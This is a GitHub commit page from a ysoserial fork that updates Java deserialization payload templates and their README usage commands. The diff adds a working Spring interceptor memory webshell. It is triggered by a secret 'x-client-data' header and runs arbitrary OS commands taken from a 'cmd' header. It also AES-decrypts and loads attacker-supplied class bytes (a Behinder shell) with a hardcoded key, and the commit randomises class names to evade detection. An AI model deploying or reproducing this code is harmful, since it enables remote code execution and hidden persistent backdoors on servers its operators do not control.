Skip to content

Commit

Permalink
优化处理request/response/session包装类 增加类名随机
Browse files Browse the repository at this point in the history
  • Loading branch information
Y4er committed Mar 26, 2022
1 parent 3122bfe commit bed0375
Show file tree
Hide file tree
Showing 6 changed files with 237 additions and 172 deletions.
8 changes: 4 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -95,15 +95,15 @@ Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
```shell
java -jar ysoserial.jar CommonsBeanutils1NOCC "CLASS:TomcatCmdEcho" # TomcatCmdEcho
java -jar ysoserial.jar CommonsBeanutils1NOCC "CLASS:TomcatServletMemShellFromJMX" # TomcatServletMemShellFromJMX
java -jar ysoserial.jar CommonsBeanutils1NOCC "CLASS:TomcatFilterMemShellFromJMX" # TomcatFilterMemShellFromJMX
java -jar ysoserial.jar CommonsBeanutils1NOCC "CLASS:TomcatFilterMemShellFromJMX" # TomcatFilterMemShellFromJMX 适用于tomcat7-9
java -jar ysoserial.jar CommonsBeanutils1NOCC "CLASS:TomcatFilterMemShellFromThread" # TomcatFilterMemShellFromThread 适用于tomcat7-9
java -jar ysoserial.jar CommonsBeanutils1NOCC "CLASS:SpringInterceptorMemShell" # SpringInterceptorMemShell 测试于springboot2.0.9.RELEASE 链接shell需要使用存在的路由
java -jar ysoserial.jar CommonsBeanutils1NOCC "CLASS:SpringInterceptorMemShell" # SpringInterceptorMemShell 测试于springboot2.0.9.RELEASE 链接shell需要使用存在的路由
java -jar ysoserial.jar CommonsBeanutils1NOCC "FILE:E:\Calc.class" # ClassLoaderTemplate
java -jar ysoserial.jar CommonsBeanutils1NOCC "CMD:calc" # CommandTemplate
java -jar ysoserial.jar CommonsBeanutils1NOCC "calc" # CommandTemplate 不使用协议开头则默认为CMD:
java -jar ysoserial.jar CommonsBeanutils1NOCC "calc" # CommandTemplate 不使用协议开头则默认为CMD:
```

shell连接使用请查看指定类。其中spring的内存马解决了在拦截器中 `request.getReader().readLine()==null` 导致冰蝎链接失败的问题
shell连接使用请查看指定类。解决了request和response包装类导致冰蝎链接失败的问题

以下受到Gadgets.createTemplatesImpl影响的gadget均需要如上方式传递参数:

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,7 @@

public class SpringInterceptorMemShell extends AbstractTranslet {
static String b64;
static String clazzName;

static {
try {
Expand Down Expand Up @@ -45,15 +46,14 @@ public class SpringInterceptorMemShell extends AbstractTranslet {
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);

String className = "ysoserial.payloads.templates.SpringInterceptorTemplate";
//加载ysoserial.payloads.templates.SpringInterceptorTemplate类的字节码
byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m0.setAccessible(true);
m0.invoke(classLoader, className, bytes, 0, bytes.length);
m0.invoke(classLoader, clazzName, bytes, 0, bytes.length);
//添加SpringInterceptorTemplate类到adaptedInterceptors
adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
adaptedInterceptors.add(classLoader.loadClass(clazzName).newInstance());
} catch (Exception e) {
// e.printStackTrace();
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -2,12 +2,14 @@

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.tomcat.util.http.Parameters;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
Expand All @@ -17,12 +19,14 @@


public class SpringInterceptorTemplate extends HandlerInterceptorAdapter {

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try {
// 入口
if (request.getHeader("x-client-data").equalsIgnoreCase("b14eadc8b152942dfcd697f0f3568d7214d15766843ae7928db19bec76d88572")) {
if (request.getMethod().equals("GET")) {
if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
// cmdshell
if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
Expand All @@ -34,66 +38,83 @@ public boolean preHandle(HttpServletRequest request, HttpServletResponse respons
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
response.getWriter().println(result);
}
} else if (request.getMethod().equals("POST") && request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
// 创建pageContext
HttpSession session = request.getSession();
HashMap pageContext = new HashMap();
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", session);
Object lastRequest = request;
} else if (request.getHeader("x-client-data").equalsIgnoreCase("rebeyond")) {
if (request.getMethod().equals("POST")) {
Object lastRequest = request;
Object lastResponse = response;

// 解决包装类RequestWrapper的问题
if (!(request instanceof RequestFacade)) {
Method getRequest = ServletRequestWrapper.class.getMethod("getRequest");
lastRequest = getRequest.invoke(request);
while (true) {
if (lastRequest instanceof RequestFacade) break;
lastRequest = getRequest.invoke(lastRequest);
// 解决包装类RequestWrapper的问题
if (!(lastRequest instanceof RequestFacade)) {
Method getRequest = ServletRequestWrapper.class.getMethod("getRequest");
lastRequest = getRequest.invoke(request);
while (true) {
if (lastRequest instanceof RequestFacade) break;
lastRequest = getRequest.invoke(lastRequest);
}
}
// 解决包装类ResponseWrapper的问题
if (!(lastResponse instanceof ResponseFacade)) {
Method getResponse = ServletResponseWrapper.class.getMethod("getResponse");
lastResponse = getResponse.invoke(response);
while (true) {
if (lastResponse instanceof ResponseFacade) break;
lastResponse = getResponse.invoke(lastResponse);
}
}
}
// 拿到真实的request
Field field = null;
field = lastRequest.getClass().getDeclaredField("request");
field.setAccessible(true);
Request realRequest = (Request) field.get(lastRequest);
// 从coyoteRequest中拼接body参数
Field coyoteRequestField = realRequest.getClass().getDeclaredField("coyoteRequest");
coyoteRequestField.setAccessible(true);
org.apache.coyote.Request coyoteRequest = (org.apache.coyote.Request) coyoteRequestField.get(realRequest);
Parameters parameters = coyoteRequest.getParameters();
Field paramHashValues = parameters.getClass().getDeclaredField("paramHashValues");
paramHashValues.setAccessible(true);
LinkedHashMap paramMap = (LinkedHashMap) paramHashValues.get(parameters);

Iterator<Map.Entry<String, ArrayList<String>>> iterator = paramMap.entrySet().iterator();
String payload = "";
while (iterator.hasNext()) {
Map.Entry<String, ArrayList<String>> next = iterator.next();
payload = payload + next.getKey().replaceAll(" ", "+") + "=";
ArrayList<String> list = next.getValue();
String listString = "";
for (String s : list) {
listString += s;
// 创建pageContext
// lastRequest的session是没有被包装的session!!
HttpSession session = ((RequestFacade) lastRequest).getSession();
HashMap pageContext = new HashMap();
pageContext.put("request", lastRequest);
pageContext.put("response", lastResponse);
pageContext.put("session", session);

// 拿到真实的Request对象而非门面模式的RequestFacade
Field field = lastRequest.getClass().getDeclaredField("request");
field.setAccessible(true);
Request realRequest = (Request) field.get(lastRequest);
// 从coyoteRequest中拼接body参数
Field coyoteRequestField = realRequest.getClass().getDeclaredField("coyoteRequest");
coyoteRequestField.setAccessible(true);
org.apache.coyote.Request coyoteRequest = (org.apache.coyote.Request) coyoteRequestField.get(realRequest);
Parameters parameters = coyoteRequest.getParameters();
Field paramHashValues = parameters.getClass().getDeclaredField("paramHashValues");
paramHashValues.setAccessible(true);
LinkedHashMap paramMap = (LinkedHashMap) paramHashValues.get(parameters);

Iterator<Map.Entry<String, ArrayList<String>>> iterator = paramMap.entrySet().iterator();
String payload = "";
while (iterator.hasNext()) {
Map.Entry<String, ArrayList<String>> next = iterator.next();
String paramKey = next.getKey().replaceAll(" ", "+");
ArrayList<String> paramValueList = next.getValue();
String paramValue = paramValueList.get(0);
if (paramValueList.size() == 0) {
payload = payload + paramKey;
} else {
payload = payload + paramKey + "=" + paramValue;
}
}
payload = payload + listString.replaceAll(" ", "+");
// System.out.println(payload);
// 冰蝎逻辑
String k = "e45e329feb5d925b"; // rebeyond
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));
Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}

// 冰蝎逻辑
String k = "e45e329feb5d925b"; // rebeyond
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));
Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
} else {
response.getWriter().println("error");
}
return false;
}
} catch (Exception e) {
// e.printStackTrace();
// e.printStackTrace();
}
return true;
}
Expand Down
Loading

0 comments on commit bed0375

Please sign in to comment.